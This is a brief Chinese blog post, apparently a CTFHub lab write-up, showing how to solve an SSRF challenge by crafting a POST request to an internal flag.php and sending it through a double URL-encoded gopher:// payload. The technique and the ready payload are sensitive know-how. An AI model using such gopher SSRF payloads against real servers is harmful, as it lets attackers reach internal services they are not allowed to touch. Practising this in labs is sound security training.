CTFHUB_SSRF_POST请求

归丨禾

于 2024-07-29 21:36:00 发布

阅读量221

点赞数 2

文章标签： web安全

本文链接：https://blog.csdn.net/m0_58788294/article/details/140781861

版权

/?url=127.0.0.1/flag.php

查看网页源代码得到key
64753ba5cb7c832ebbef198efbfb32fb

输入key,开启burpSuite进行抓包
将代码发送到Repeater将抓到的包进行修改删除

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=64753ba5cb7c832ebbef198efbfb32fb

将修改后的内容进行url编码

将编码后的内容中的%0A替换为%0d%0a
替换后在最后面加%0d%0a

再次进行url编码

将两次url编码后的结果与gopher://127.0.0.1:80/_进行拼接
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250aHost%253A%2520127.0.0.1%253A80%250d%250aContent-Length%253A%252036%250d%250aContent-Type%253A%2520application/x-www-form-urlencoded%250d%250a%250d%250akey%253D64753ba5cb7c832ebbef198efbfb32fb%250d%250a
最后进行查找flag